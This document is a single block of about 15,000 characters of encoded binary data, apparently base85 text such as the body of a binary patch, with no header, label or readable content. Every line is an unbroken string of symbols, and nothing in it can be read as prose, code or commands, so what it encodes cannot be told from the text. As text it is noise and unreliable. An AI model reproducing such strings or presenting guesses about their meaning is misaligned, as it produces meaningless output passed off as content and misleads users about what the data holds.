z;yRHN_Z@h_<}f)0(Wou0gh-`BLIr@4v>ik8m1zoNH4o1z6VFOcvdXkrQ~E1Jq(nh$ z$y;fBYEetp;mA#f{Hmnd!PZnox5VFE_F#X)8JZRRW2t=FRi*X^>E64K$Us)GED6LKPjL z{(-`ZS$aq=RAk(Mi;f)sjJbwhSISD+w%d%g!O@*NY9+31_XkFkb)Q> zjKU+MFUN?7W6>nIFku;s#-=90n;XO>=bdWwJ^9zO7d$#^&dNDW@pwhIqC(zlr``RH zOBZlA8iBol6w%0P$@)+LQIKrVEF~|H8p2bW8`O!%qvV{TIbD0W={dQMA{j@#G00wo67pRe6>>)Otx9p2k*`)$7a33_L<3A#;^b=K(H2jpjD z_Lw?nj$FHTHOuVS$&EKQLb+XH)`UC}l2{|(RgUF$&<16xE+n_M>$=ey5%o(KvjO`Y zEIStFs8wrLRX_jF_a616Uw{4yM+hUzSyxpp9M`c65mHuKpJcog_@$$Fs6};Stc3@? z@55c0-m@=%_SvWWrg(yNDJnd$^{v5QKGGr)Gf4`x5)>NRvQ&`dU|CgIpF~0Nt8IC6 zGE_zaJX}&vR955J0UUDk?N)i6{-yg)6tP#||LUcr^y*GHVlZr1wd<>xYpxURN0jrM z`maza;T>C~#&$bFe3`Y`qy68wn3#KP!P@oaXK8LEEC1KLhi-Ay3ndIcdZ%#7sr<~T z4nY-FWoL{-xdNat-1e|+WgY$m^{p5-9XWSd`)G5cy#UZU25gOfG7)yoR^j_lXET&f zB?&J@c5)EnOO&6(7B&3PIM}0w0JaO6Z}jKg5NF9aPbg6TXs^(1V(0+dm1tZe93W_c z9kt0e9O^A_>0{b2eMV3?hP{1sY6HD0hWdeq@2gN6-sO(t3KSA*A8lovcgx**rA39? zef`4{wPO1BB2y=G()S(6_)XVYIwmb6^>M0yOSFsve>REw^8oz_2@^t!a5&7GYijhW zbo{?;)z|l$o8xbO`uW%IJ~hstHh018+)p|q&pKJino3@`p+-fsvm6ry_~@c!WqK?Z zoHWol_Pfbx7)wvW%2Nu%CoJyP$5}uB2j`R7^I2(8ao~| zW4W<3W%|fTpyrS(7b1g=mK?A&6q5U)f~P<|PGOEf1XMy>>GdgKzfF2c0TO|nL!xK{ zzyA+@`TCdN4c>X{zC)#QGfzDAEdKtx@2lc|+d64ES%P~>15*$*QAX4O3`Q`S0FIHc z%ArIARg$!^BsoVLlsu1wMaAL;tf69qH}J6zsJK{FgGoqnmq*d-0@@4ORT?(~mRxt3PA*+?(E< z^6e}xy%j~dSuB!Upz4+{V|sr!dxSE6=H~v>|6w;kQ8yQB0t`?@KCDxLF#sCh>1vf| zZiXo61|9Fc>!;#`a#T~o0`N>&V1pA1el+B>1;(I!xbh*nVryjB?oC<(d znJ+!`KZ1E7hdf%#=vs?VHKCWhFz0Ae$FBNgt6YyiMTFTR-1K=H*87R(bw%0fJhQaB zs9U{47)wCV*OQV+{`Q>4y$f)B=H~M8Yl)HokV=E!2^|Cm1z-TwKr6rYzcm&0Mia4_Fcajg)RB1UQ5@mYguiqzs5qWV?l6YubUL zoJzpz73~y&pC3T_^FdR=m!zf+0&03E6o@6Xwp7?=BEc!@FOmXd>hTaCXfzj{OPNoeD<7|^qUX*>uy4y_^M{nJX4jj zND`S6p(KzGngSvvK%kQyvQ`AaV@*-s#1TG==Hv+OghDsmdavV#!tP#s?s9{@Put4e z=nf%#Y>p?vQPT}MR(*=NxOSW5!n*1SDXl_>vKr%v*2NeV15t&}iuyyGd#2!L$~v%C zZQ%FsC;?ZGzkBQ5`t=^0o|%<*!l`Ggx8Hn&=WMx^PAYOukSxKZ4C@R8NDvq#(G)q9w` zWO=1oA|1*~TwT@C0kIEOHA;}-D#Bk-NR`0E++H1?y8o>@yj_9h45$C^F=MwG>)4S$ z^59cCIAzYBTlc%{M=zq47Ds;B*gR_b+Z=vsdan+h1}F8B{rJt-RA!eRsGuW#+x=ij z6GtlmMHU)%`B-}lG*yQm0yfJCxYn;+$=z6nI(W~WL{n39&C73o{Njwao@rXTV$}os z@x7DJJ)0+2EtN^r)YM6BAo^!HlYu=Q)mP!J0TncRODYTIF&d?jNQ65XdE%aXA2uZk z_pBoiy1LCzP(=ahBeR5+s|PB$@`KG46{=`swF*cit%U1WAbk?{W31XCAIOzSGtHuP z0#wU4v4>86yj(VJY<$J^()T&y2$fuCj79|Bf#_ ziYw?*U0s770a8YO&3h;-E5l>bM?!)?RX=QCAyL7elqB?sg;(-bq2EI34USv@ll^l< z;!(egx91maakLizTEY0>gMHv5Pf1VeZ~$99c&oorGQu_ z>|Fc!xk19V2&pt^U~v4AR`lNlnILSVcwo+@$S#GYEEn?jr`WPIaB<>~JJ zP34y}9cGGmzWM%sE9mvfyqO!;R#typkeR7=J@8N&U$=>;1yCg3 z#fV8yNP7~B=N8+mNLr3FD<#KCLkv_JY_b6=`Zn&7)L>9LSv8$A*UiPZR?B&v9Tpl3hQc*d9WK|O|{jk zcJZRb(L+ylE;wn38&%%gimJ+?JNDV?^C3fqw8`^(V@=aWoqQ$p3k$(ZBN=a2Eqo5q z&yvbs_Vx$EH@u8AZ&oUiwYdLLhy$u9p2u=aOWCryv(&S%eZVqek$qpE{CSX!nc_%W zy?&e9IAzEoLqg%Sf+t>ohd0&NuuMH~Dp3Eos_K}EAU8(Y5-U}Rs4CAX@x)aQqDb{? zSNew@^EZ{3nV$S|+UzgBnYpaOJm)_@`tnWvSMd=;PvR`zs4CX1HA?QdPPt|0FoJY* zML0jwBf!0bz|p8e$jOCL*ZtCaY{8dL{hC$B<19Zf_mCkYMznPbAe>VoL_T$J6giep zMe7kSJYsigw0SW0Z1(rtIkSJo{XtBSCCt$W<}cWd+Ob-a|Jj6U?%7xb?&V zs&Pup*w*DZHK?$I1y(>J6pHeil`ELY$npnmx0R^hSXcALm*0J49?(FMjR*L*a~9mC z4}Sl$%SUmkv-a8z8Ie$BRcw3sA;lqbxXp(@=zapDI8B{qCM9--G6v)Ig3(heVT|!gfMoF0@ zh#w&^z|<6ozWJkI%goPDXaLICl|3=`nnxqCv|TS4dnbG4nI~1&mRs?Rk}{omCapT5 zOvSh=)lMXvI_o20^_aLVRKS*^{|USLwo9J8q}nY=kvbRs&p{R1aVlg_TXTj_ceOUnN;2XoGA^pFCLK_G@N4^tkhp^l1tm;u;qSW4W4$i;+W5G>LihH#6ssU-`u(5Ja2u z&78H(Uh|SII+n4l?)`ZE!g1}+9NURPe;Tg>h!X;bib}DPW3OPT>*0!jW!@5l=C1I`B zd}_dM#xS6*U6iLkoV>t*MR)Am3u+(D$!3G`5(Gw5B*{b3A&FL!8X#Uima0v2#ak3q zOh6$WN6_E-O~2-KW@Tkrof&HiZt#Job8p)j*2PNMgNTb36Hi_{DQyF*#R_l0g}R0G z+jGe_INB$z6^uTa8{wng29ZbO7+X}&A|82w@lQ3C8Tv*sG{y-m=cNjoNER2z>33D@ z^jU2UL;BLeeH&W$!os<+ksxebcZOwcA&p2Rp z9lh5cqs+m0*R8h;9?RhAxj8zB^q_VQHEwBX$x3i5y~%?XG@YF)u%Jm0z*GvImO`uzJ(k_oSBk8S#~?9N+=jms8sHylwG-wbpT zY96EO0B#Dx-jqSbirH+~2Bsn$iZD@F=HGeK%}kdvRIlz`Pq3ZrwlEqS8wq4#{EP(( zP!nIuHl%>ILm`O;OflP?QbEVvUdRa)0AShTDI z%W^w);}49!RP-n;^fqj$KK0=ayzP5+brSK!@((|r^0j^5*B-sqTe52H4aU~@%ImM< zvTBWLZfr7CbWW&e=8&ZzPqF?uw`P?r$mC2wKs$`l0`z&rag`|S#O}TAPN0BwEh%l& z1%R@$)wmvg?B$bM35ls%vYTC=CbwkBN41-*HLfBpE31!--m)N-&F$%|f>NXH2?qTpG`;eL1msro&wZ8u&Cq);`qv78TM)s* z7OkzN0#~SMi@`kT1S0$bVS{9Eqj;cHY=*H)CHt}V(aOh=OK#0A%+K4lA?~rI)4%6g z-FpZJST&}2CeY526Wo-fsI9&mibACD=5%*3?mB)$O`Vd7CVA-vXN8Sj&{W;+x6k>* zE3ZfcMSi6G;)d^L&wDWvQvSXNAF5>KI^9f86263NLea(taO4DJNBJfEp=BK4u0Vc- zF1!jU^SgDEi{{MaD>hWf%=EO*NAI}nzHMb*bO8YON8v+*#D{lEBJkWQ7@L=}b*6q04jn}|NcK=0G0`qFCj2V6&6 zPD3w9$9M)RZ~bz0&c1kHLzk(}NFuNxQ2myus4cL-Xo-JU(YPQKX*(5Q0Ohn&b zjJZjH7^mT5jo&f~@M4l?b4|lW@!ii~0fW<7bDyW=Tu2 zupvf@><@_pm1!mEx=@;Bb1zI9?6!`PJc5z2J0;rJSz8##?z6*{N{aBUk3HuZA@;&f zU5xvKRKabctZy%YM1v-jZ9geu`H}9if{e3j$pSyKdtbR#_ik$G%GH(ceL3~}me0E? zGZXHQcfXnTckX$~i_SdWH*Ntnt1I-q;}Y#zkZnC95IJ?il(1AvMPEsaUxizbb5Hjs zSS%+~$Z$Hl{K_%9wdFcT4&3vcwlXiaQ=3%AABjt!prfe&O?W4PfhWQ*l-2knkp`+4 z2#Wy#oo`aE0$&dv*nr7R>vjC&gAZ>gEG#%`#fJ6HHJ4w_Dk>^jR;MnI{F9WwMA(H4 z_^lkW6>R&%<}FCiHPx`R8@n{O6{m}ET3~GDVbn_So zo_~I*v^f7@PfykhPd&w=#htj}KTA;HMN0>$3!!^FvqEFY1F@9MA0*?rgx zu*Sc(+DZbzC~A+vgQ**sdpW1DfGa1Y?t1DaPrv-=iHGess;$mb5T7z;T}u6+cdSU5 zIuJ8OI-I3MVCtx_*hvflD(BfGS+9FjS5R$IMczZCE;nL^po+(7ZzqQ!+VCtbkm3al zBw0|cXTcE;#R8)ysXs3*DrCN&^y049fRFg!36~C}BaLIKug_8CTk}*)OJEM3PbBAH zt2V5KvO~Z#4C*;(a_wUP9fswsv<}_O`grtTOf zq2?-d$K_}D$-Dpl`~kafyUkf~FOh!6@DXbEtU0X14%>5+uQ(V&@jwp*^_CFBt`NDQ zR0}2%%8uaeWMB#42<;mx+t79UBo!9(2s$eQvMcSTpI``ySk@EnUma zVO)OfNyB2HaNgTrPG$A$mZ_|cWzbv>=>%Mu85Ue39$#1$2-4KFoEhAJInB4V({Mr| zUN>(hE8AvgHlSN4zoM#c>Blp^U;1;eVfvC~w;5ly>#rQ;$c8$vv7t%djv?Gm86%Ym zK|22}YKT8tjHdM;6eQqY)bD{uJM~gizWkguG&ie~g4~0)A2KY~7Uya3;5X^Lf^Qr( ze=(>*%#&pX5c}PRP}YG3Q~`a&XHejz2+BsVHuJG!Ly;X*?ywj$8DEgTik>`tE=0>S7~VL0x)Zp>MHcJO7|_ z5wM08{VM&oAl?AHSv!A%z{u!4j>Vw%{Gttx_5wgF7*+$oB%mCt$t>iC4Q(GVL9h~q ztrC*dnAN%>n5ncb;R>MamX?hDYXkjJPCEi%6T=b8F?>GKxd z-{R@vJ}@GH=B9Xg>=lild_8S^L}%+)jJiOm=6Yiv2%TYskz3b0pi2`LfSSzYaVKqI zifk%$v&Qj#<>&;L=XL4Gn(AxS1OIrNMM9yx5tm<8-tu*{`gIyIXa*B_N?3eCUnia3 z3C;pLMi7rD)UK`2*}@&6#UVO_x~bu4CKGYS)1r_h>S7H8@6_wAVpzW<5t z#}3}_mT+c9;qfP(#Xg<#4KMCDKsSBDoO{MJ#KI7`pv-_%-_&o& zPwE83aU*iWg87O1C5!w=AAi6<>d^hfce59Mykz;RYi=EJE|744#*(Vd!Y*IFeN5BR z6)RrsoSP~Bvd>^%ziP1rsT7?!p}i%ygcmDn107(F+b=a>DbWuM9fB?umUhUtMYm*` zOvatG>}*lI^>%7OWg~y~@u!^={&tG<(&VqU3%SuFECC4K7H@AFQ2%}kYB9Y zo-zYzv6g-!9{Fb<|8gyQ_3V1Sp5)NAS6w6Bv|N#%lWCykm|FsdL!sOb!IcHkAO%T6 zm~|{|((MopT{z0q8=hZZ>0N!*l_o0*&0e(R+R69b_p==Hm%sdEc5_o>^&b6ticrUH zvS!I571sN;2)W!b+lx8TiOppl>;nD}_G_)B2xFEwsBh6kV-qXr(Oqm@y2yF#y~)gV zoZ@SS9(}ld-v1WP{YQ*my%xa7L^2tMHANEf0)0-vAW4uC04`VSp-TH8U9dpo&J;v- zycKrzGD{>B>ZQ2RwsJjM4g)w@S5s$N08S_x#lk=80Hx$he^f5AdXkJR{ybfe_w~8$ zGjJNx#jB?J2ByMMwMAJGGX-Xm zI}BW4R=WUQZa7Pt^G_MZa{FG_Ht*l|@kfu&6v&yw%%|{C_qUL>%9Vw(lFSj=tS}bH z{HF+{hDH#C|48J~kAr+v(JlhGiD48>JqsE(iF*qBXU{BUofK>~fi~l|E(3*Z+UdcE zN*5JEz#LG9EGOkpMO@nXQmttE%|8e3zRP*K>*SQ*aEo-Z3Rq@Qp^7&*`RF~RtZzKA z_@uI0^cK6PRO$mtL>OGT!p?v~^A_oqDVB@<0Y z?Y%p5qA^)pS;<0?hzi7%4cgra{#G$!C`d){N@o3eR7?G3uDh)&nvpJec0QYM>jduW z(0Yrmole`->u6;IBPN3m<}&UGa*|T$)hU&Y&I8jpE7_>5VK_L5!Gjh-c_&03~H4mX>tZ`2fRW6>JHk+?SJ zQUxYBcmi@o7##Q>(mte>!!Z>FKPh!*Ey3JaCd=>ARp|mB|7_6;Hbxg!jv0C(|9;Vu z?OazJeary^uYKo{8=imW&G$#2dDA^*KQET~F9qC`w^oaL_NR!AKl%94^||)mhxW+H zN$+0O&?sh1`GjS3-O}!{mR&DVw-`{>frC6Xk$Hae)7Q=UwwB|FY1l*a)0u-GsdOqz51^Q4d(IHi>2f06iIL?0>e7oLpUvSghWg7 z0k8%@fh?0b{Z%rNRMA+3JJED@=S{a5F1Oriz*d*p=Uq2rK$}^+H8nYb7`)_!{RTt% zz^Vg22ttK(>+*;FDDqKYft(GndGs0=pn(D`4~IKWTiVM~9(i0jU(TGXHyFu6M!!WD zbBS6H;!mh1fk32yNh$&YldThDuxa3ij;k6g*D;n^=;vidOrfOdnY+t>l|W)nPL4{= z9}!w`8UvA43UdQlM}`58Wgv4hIzq=R`y1v#g>I369|Vd3wii9y)@UyPw1V+XU?om^ zpn_RvW3ct&L75I4jfMz{I!BW5R-D*zKqa*Z#M!wl>ltYHRAlmYKF-g?^ z!>-KjR8qQqLT3rnKKqPCJC)IijBP};92d5=u56}3P;Vpg0GK{({tH9_3YRrEHiInm zn5!=_&c4a-=FGk4okzz1TQSb3Cfrytb@rSeiZj!BUTFtbH*Yp~(qeiWFvt{+21~3( z(^CY5mB1T45VOG7&jlIF8#ja8ZoSl!>EDP|Rn;szBfV(~ZIx`oxqwZ-3&w&psPDtbAO@ z7B5|;_CG`r4NDaY0`Hyj{}QtMXBfxqJMdapxP0tGk3vqETUyNYKzHpBV90;e;Iv=_fEhSAmx$?oZam+p-}DGD2iD zeeb%$QHk}dSZ<5F+0CVr|muz z(1b0;35YeNrQ9fcnxj@Zrgg+wHIEsJMp(u2<%&lmVxR4|=1I@5{P3IU@Bb&S=et?+ zZ+Al>dDX}Zgsfhxk_`>a4Tni-*EaddzlS<9*6)+H4262=(qL(oMV|Yfud+&tp&N7a zgO5X&H15KoXSDYDDK0LCYw93rlx&JD3xWr#h_vvORe`sn`$R?sfE1^|#sog*5;;b- z%LiRR<_IQT*8wQ%S1;e?kGkQ8s|xb-_IvWp57>j_$1zb@!ZV6X8TXQO<1_YSCNPtX zB$WxUg(NHy5ZF~JjnKasa(V5#4Nk+ddE%&HXE>)Hca)x^=Ji!IHD~O%$1dMZo;-Q8 zP9UEecZvV~{6(YFbdCC^>#h>2u|ZZYTgk$@lg3en9ctZNP@OB-jji0cvPlg(+3rlZh}wqjP?vpZW}pHQ!T{I$Gc^jLN5NyGRZkG+_?uCZ~D zaKzEu_uuNmn@0?Nth%=T@n>Fp>$KC$Z_VpFq}+0rVU8A2EJel8pF;%vX~$0s#7CSx zD!X&X4!b3M={z&x9_1Ew;%>++L7?^oIC3ErBB{vqgxORDihhD%=;l-W*TAPYR@W%MdAI+6ukVQ)uh>vkRkL7+Ew>Q4-Fowyd9zd~5)w(Y1tl+gAO^zy zNK79>NsAN_Q>AyB{3&Em3847ZTppi_qG+2;>(=4SwpYv}8W?qEfN-K&4gdCvj(pCZX-#(Wc>)7rCcZWZmvuN>KzxMSu zFx!;klImy#RFgqlL)kcoFpj#h#i?|SuE*AtMFoxp1Z>m42F{siVg8vep0|~GY#;3f zfL1XoedOnJX;V$$NWnst%Ay^mb)x5ja(Ua4Oz|WYMoQ9J(u2td=(M7hS^N080Ue_t zlTy~hi#(;EK+SFGAKl%A0-`ErhaR46B>d00Ev^D2z)yPK+KQ?*+i$-;Y>)<0`kem# zmfayEKnGA$9Vqo3GQ@?hlK$L$|EI6j{>;1@W&eO<%R2kzxK zxutCVoarna4GTJM(TZA1m9oXA7!^IR7~Z*(?oVs^YY68_=7e|gGZx%^#Br_ZW*MYPWp#~gn=SXsq z)LL=N5XzzuAbG$bPwf&&3(j`3+-TGKnyNEyy!QH!TKk;*R^!e0 zKKgXlyoI0ayQ% z7zw+_9Jt4>SKV{j`G5ax;zdt#c(zYR||Cpc}e1o8J#LoMZ|5uCs{pLRBdZzUr|I4o-x&J{V``m+7E z+nUFdiHgr=&Hem8d5vF8n?2UmQP=q+&SlAp^(@iUD7ovPXI)B51U4bt=}!T{aKn*7 zWlE7AixDbySVor~>Z6xl5F3-8EY8c_^N3O9*(m7NCbWQpIK|iiBI?1k`K6s$OKmc- zs<1~RvuG!2is%m2t~tufS&Lj|7p`eK`yOi}!;0~B>(Kc$PY2d(XHQkJk}~5s0)P;b zszj+MWpibF6WI_#S@fO{ih%l?uH&kv#zw((;p((Q_J?oJTC(KfU;BD&uIG!w9LSL!v??vrK8MWS+|S8YgPY(Pqp{<{GttxcI$>#F!GAmk&m2m0;e%) zs8QgZB3MdNRaom83pWk$h5^5nl#{J{XW$~RUSqL@I4JBn-L@P#A0JMXx zCxB%l64um;+`t7lT&|E_TEaB~ZjsKV#oPaL@<-#MJj|8L!us*z^3qEUIiSI1UZ$y= z`;HOSHTF8p)lcm|Y)TB5=sZ%6Fd>Lkx?ANLdl=3`59wb|UVM=>Cx~;=2(yMA-!Ky{ z8flDPU9+m?#TS{EYkUn{)8#ZuhY|$TAc^Ag(vb<%-!K(t^TbI*v=orKz!_$w?_3Et zTm%jWhbJdK`j9y|T>U-WjJ-G+5>B&zh|Uf5O{+>rkG`-iPX0lcj^4UMQGVCCtJkU} zv!*(QJMFC_d5O@|K5wYu1SDrI zT>Rkw_gcP1O(p-4o35%qWS>2z?7#cY`|W@HiTs}v@6xx-j;3oOOqT{7l+MJ%jksaeg!{YLuJB zhRWKt1>5hRd-CAJuacoq{sqI%XG=CztHM45xEnSdnxv`mnC6!QbOJ@z1SxlNG|FPY za7F4T>9%aZzeE2d9XJ+|K|dFSZMLcK}~k_(ruI_L5Ux4!enq)Eyok&`A( z+U$d>mnYoRe9-PYU$$#(Yr9J;Qr~Vnfp#`*O+Gl>E5v{+(#eH=&mlUh zqBBww3JaRaFJr>r!H8?yrxE8*0EHdM-tm_AWmWPd}4|y z3fiH4B&D)SC5Fp}-nGn}FB_JxS1g*YcH5?}+2HEm`2PD}eJ(d!IUs@a#Dx`71&LIu zRV!}v#~e_u4Isq`7qBuIEGS~Yr`DoV;BMLuF>ZsSy#UY(M%{`zuz2+D5klK45HX$9qT+Gu3VijT5K?= z2tbfwEY6IEOp`eXXccLyxc>2wyXJoSV z`fu7~0pRB0r(NRcH+9vx2R(BFXBFhCcypt`Y?I?XA#lkltAxueqgw_>8_b%$8`tMp zm{rc5$3-Z{{?fObN+iA7N8f#S?$12^j{?)h)2G{do|-#%@l6Npw!{9{TrgCD2@`Ph7MTFtFX5?n_4dIBo>ZS?& zg}cW%Cmgiz6<0HMYHOXNm0y32(IzSUOH1HqB)}gSFG4Izim04cFHsq7QIz^m5^r*Y zw9@IHuR>5RVg9m}tGd1U%!K<(OA33QI-*>DK5drD*>Wotjz;t!`9a4^GRLSqAubXF ze`!-xjE+z@$qEy2C<`jbz|PHru9!Lv6tyPYaEY@+pKkvA1&hwV?a3Ejd}HE7I19?k z%G$#6`Ax>#Q@;PadzZ3XcinpHtM0%5PIlbihN$Z0i&=5cEmdM;Qc$cc6_Ua6EF}Lw z%Y`B7e=OeyB{|r=8CAz^t?WHXPFECU(yV+L&B_#!tPGJ}Tkudw{mLU+p@cP~3~pWQn5>)EAg&<_1~K4|ytj~a8{`RhLV>dVJB zr1$+wC%%b4%_RPtVUQ4`M~{YmZtNpZ_RY`B?zn72ty((uJDJv{hpUoFY*GM}Ut0Vf zPkD~3RQI3T6V}1?2IOOnu$_aH9OZlMX!15V+6w@!U}RM7tk>PsmQ98@U(@bG zMR|xMt-vv1bu9giq(q>ShlHI#6H8(@MEW6#rP;`z{z7kJn5HVI+8}A)8m&Vh$f>W2 zfYX57Nog{oh-Kj5s;oJ+PQ#VREbZikQQ8@UTSQm}4YoT?{--m)C&^83cCmuF+-X5LW1wOS>qD_DI_gq#!**4JWyF(l%l#&v%$>K`mtn=TLNxH81&r4Zr*f z7K^yfoOz4ieC^g-e-7gKqoC)9S6;zVf*xOd@%7h3j~%>d+a8^J6mPi=t6a8-6?FIu zOE!rB)ov!;BW|TG7YV|>leQ4<0n&;M!JkNwMmKX8>D-;a_wtLX;kIj?qTJkr2c3FR z`sBwaG_=Nfvb;jT=5y@0o14@@UruiAradC*S9`NcVx-hHq7$KRhz=Jf3A#xk>%S&7)pV${nKSSTb7G6?GeH!z?ENSpye z5*b}_$7~D^TQ_$OkJs0+NiY4K?a{x#`{nmDZhqyxDbGB0OL<`Tl$)FTr$KB@8eg95 z-K*ohdFdH@4BltAJ+x=)PTg0-n^v>oZ$3ky|%CWd(7T9m#Ny&mL3`;?_ z(HnyWkS)Z#QqDnJI5Vv;DitVB^*&wRG|3K&MAIA=jj6OO56J2TevYE`u>Y) z>XWZ$_>Gf2kym_#3;rYz_MLxk@A+1as+{JXn#m7e>z4% zULT?xS1eP#{<1sk*R8W?sHt1>-JE$d|C85f&Vfm~@OJ#^XOHRJvGDl|FBs~6{KAVY zv9Xamp)i+;Bx6?f#grLo!-rdr@f5ThQhszUFnfUyzb`>+BCA6ev26A?{@YW&76T@1ni)2Aej~a)7d2;jf~=_-f(@@uJ^F1AzW8yYj36@n-%0FMY3>t^hi-&}lOnROqA3@W3;<`2v6`(t) z6B=Vij($0CFPOFI8(Ue!t>Y#uHzJY7V@Ls;*%%c&;YbLvbG|76aL@EaB~+F5+Lj!; zzIemH^LmgMfpU-1-F#R2ezT*q5>pTWTUsKJ=vuLG3`D^RJ8)r40YaZj9`(ez?%9Z% zsb8?sH(l#TT(>PimH!0>`s9caC%TTCbL&Hosix`*QMSt<<~1h(S#OXUB<760e;;~M zKFkGnHT3$_4Rw`-0FO!N6(!toMAYeSy{_5tb51>0=t59@)!GeXf5Gd7*ZAsF_a)9f z>$to2-gW1@PCN4qHumyMRBctQ3Pq!)QwgLDbP2^n8Bo!B{aX($>c#j1(T9*Qo7Zpd zTtAtV`Q5uaYZgwGuYdfdf8qgq<{Uk6$5SRh&hE1>qBTL#gV$o<4EpUt2~F2!e6way zq6p^Kh`fWzlCrv;*0+ls8wF5eplo3HGbZOt#C@aIrHYI5O>K+y?%u87qMPnwFFyaQ z3YQeI^z3Yb1YbZ-dLXk1VUwPJg?KC$Ak>ZPClC#6Spp~s<|PT8_u{gb&!KRnE5klZ0FU9yW94>xTtK`$8Wx(|GniS>OT1Vn~$G*{@o{Dd-T?(pIKvEC(4Yv zXxyaR%H#jZYb?#r zha~i$Q$Bxh&~Dq;?bNS#j+9<$7sK5au#tLc2`t1?5!H~T1|mj9!5-LN^Yq8;2}%QRE*`g2G1z02FB; zp+_At#8qK@A<4v1?}v_A5uOQeU9MVcNvka)!Gu#UMVE7O2>?+nzz+z>0YS9}+(`ARZx`wK`C(#6-w7G^g%3qehX;<~ z5NaTVO9YO;0wRx;rUGs8L4_Bpth(^xMk6dct&I9mka*}SuQWs}b1VonaYJ~k2|%&0 zETR95rn%-!Rb)b>JG@w;0Ea;nZy5G6s<;BZAKf6K0-;Z6)Ga{3G045Z!6e|}(X9rF zlc04#3Wy{l2g)>90M=yyVU1y}xG&>jmwEabYrjj1PK8C-foc8YUtVKbhmwmLlhS$c zjtMea(v3yZV#pd-GV1UGm2w>`wP&gSf$K9z13CN@=n+EIESxQKy7v=3I~IxM z%T~=fbe}0BXtiuDUIU4U)rsw7<<`;?!g0h z_I_Bn>?W41du-g*7q4Z1;xT;q{e0=tZv2fkFMQXnL&@+ST{`{!u3N8*o_^uwa?OmX zEUQ; zlJbUAj)$n(%ptFn2@l94T<;IMprd!^bderSW3lX9eQ(Cq=PNg;)yT!xglP)e2L<2ns?ORyGQkWHN5r3H!u9B`%B%56*?h$l|6jpVU4F9dB~kR z4Cqt7@6m^;cOJc0-xoU}hR2i~&;`a+hOxWPI8}{FG!-r^ z;~%{Krb=Eris}1&pS{k#s_4Ue$E7|9n?U%6ah(GXW#dm};E=8DUWeDyg1!P@FIlqe%#xz~10Q(pUGKH$o>SR<`s2o9 z&tce3U|XTekU4=JIF*r2>f2Qf6-#q8NZs{wA}*_+wODl9Zbz?g*G_KbhPB_kH{+Yi z-{Or#YijTbL7Tu-G6kykSuPZusU|)EpDmXR!BcJeXbFIN14W z7bM!$fX&^=n3#T%>3iEtt%Ck9VgHEI%Pd6zKc}VuZ(*-u4guIk8BPs{ezNYkb0ZFD zN~gM=WLoM7se^>ZF+Qy(PnW3qIR8Pk169c=1=(^ZC!uRoW%kzf*YQwab%8OP7j zbKG$Nrf--7P$|Hln^FN(4!~PU{}#L+Ccp+(nCI4?1H0dx1Ns*ocsz~)j44eKlh4O0 zh(m}I7K(g0ZPMB`^V{4Q=gHa%_uLWZ>$-@mzL_=euK)HmUU%Nv6^qtYeA&IYh#!91=`68! zB?Jrxa$w31g6=}X>S3h{&S@<4AXf-lXJmrLZA>DJfL2q6% zn&;j3th3w=efzeSIaM_^HRO4U+9nClz%5xI4UYjOxx$&~TOb12t|q(_C!QLAppB8;#~lX$e|t(#=hoh zOdr{cH!~+Ko!@!G)&9PF?C8#3wB+tjr_H>7n{9Sn-X<2z|8Nu+uU9(Bkl#(5D91kX z$Uhe>U3T6s{kKd!aQpRQyFGUEYZlH^HLF%DHxd!d4eNx#b5O0CS#L7jqp7ZHuD^rQ zEy#uuf_}~fij66_Nfd4Lk_C2=0*zjkm2)Et$>97IK%nt;F&3-@6HsL`7M*TZ7SHM2 zjpz00$Ewq^oDZhYXHP!*xH{*&3;7ABpXa{#{%4(i;p|^pQhNLi=bilU+{H^KmTb4j zUe-~?(p*f!(ZWiw&5!2nEkee|)41CV-gD~uU$&>oz>8JH>awuHy z&!^9R)Z8(b4L?~I?L1LeRmt2~nnVRpq{I18p$FO(Qocy0M<`1PvM!(`frmDCDyLId zUNL{3dhz{_owR5yeeiBO4s27C=~yfjoQFXks{-pk=q0E?xJueCiiwYeB8_2W4-k{k z?4*wASMb)UhtQI~^6nQ?hZGeRT`_m%%JkdEOyEg3!gD*8F)!(p6DdT7D7@Peh{s8U zE7(Hdkb>)E(1U;)NF=$}Sf{SM@=}qeW55~nm)yQ`(xl()nhYL1n4@ACc!>+^rVHx} zZ8Qc_5wgF7^{oc6J`p1Qgv_+(i}>) zWSa-VbhyP@Ye4kxL|CH)u>i-~)6)hEZeTuod$f z3bB+ICAldnWwk?v)t+l1+lzLh){$NZAzpKn%In^PCF*OOYsWuqibbI-&OCOcc}|@G zjX-k0(D>_S%xEY`17H&-RX=54Eq>8i_|qc ztQRGl;yf)oQ$!q>FJ4`#&OhPkR^R>m-wy?rsFNlg19LoS{P^UZ&%FHH%y|nh9Js>( zIqrrl#KC_%ir24L&eqSFr8}?sdWIt07mCa;xe72B%4)HYl#3)@KTL&W)KeB@%!n*p zQVzshN}_Ne3$kxc4)nIvOA-O79192=fR*@&4vm`VNdo($iF9 zRgLuHHR|e1&gZ7N`Td;v|3%RiFZm_Q7OY*fY}JyTdiRtpGhbHCohe;iYRlmcj(>i zy1Hb%>+lOk$#oSqte|HPfuJvZ>BdY1)gdW96jlvE;@P8PHH3HK@c>#eI&=z!UA1BU z0u{+GQwQ(y7q_micH^ht|M1Rl^cLW{q^GB2y&I7SXk;TLS*l8OV?+ZX>NAqWIM#9q zZ_g#$;Ao$;RxqM93oO(I2OZiJ_1ejMt1&TghzHCU6&4Tnv5_f;2_Z2eSt8*a;vFHfHGn zG^Mr>!_b+UQ(u|1U>J7@T#qWc%mPpa#er5&m|J9lBHKX{&;_YNYmj71@nl1U0)BuK zx1cWEy0d6=3g<-B@eDxBx?ZJn! z&iPsFs~;AAH~zAVYktk^|NEOCO|Go2+t|NLN0#4xYk%XC#l}W10Qk`M07p9Br#>~m zB{~6sZm$)~mnfoVeoGgZBC!}x@6=tr{L}-iIq9jcok|WdiO5@b-z~ev(o?D0*}1DPo6M+ND8I5N7?>Q6e(nYuKIAN}5ZnkxED|8JKo)=u%s`Nvtj) zlo@#l40yB9=4H}L>W{vDeGU(0W$|c!KFjaXl{cit*p#_T+~=Qr!8zmPv-r>v*JjMG ztQ(+Qam>y;Zgb0$&(&o|e#On>nDShn zT~s3ccoHKRX;nH%q0>%}#Q{hx2n78Q{I;pP@^Cb)YL+aN;p}|5+ctfSkw@*PQ)hql zpT549*Vt$>=!{QI|6#$khI}{fwwv7KhSi`8V^AI@VFM*Q44dh0BG@}a27m}QC%oHe z!{CzeooSuB^4VW}%GOlXsM5mR9fsa;TXAb&pBoA)Xt_vX#r{o$0e3fUeHuWBniO;F 